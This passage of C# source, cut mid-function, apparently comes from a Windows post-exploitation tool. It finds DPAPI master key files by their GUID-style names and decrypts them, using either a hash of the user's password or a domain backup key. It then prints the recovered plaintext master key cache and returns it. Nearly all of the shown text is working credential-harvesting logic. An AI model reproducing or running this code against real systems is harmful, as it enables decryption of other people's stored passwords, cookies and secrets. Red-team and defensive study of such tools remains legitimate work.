foreach (var file in files) { if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { continue; } if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } var masterKeyBytes = File.ReadAllBytes(file); try { KeyValuePair <string, string> plaintextMasterKey; if (!String.IsNullOrEmpty(password)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } catch (Exception e) { // Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } if (!String.IsNullOrEmpty(password)) { if (mappings.Count == 0) { Console.WriteLine("\n[!] No master keys decrypted!\r\n"); } else { Console.WriteLine("\n[*] User master key cache:\r\n"); foreach (var kvp in mappings) { Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); } Console.WriteLine(); } } Console.WriteLine(); return(mappings); }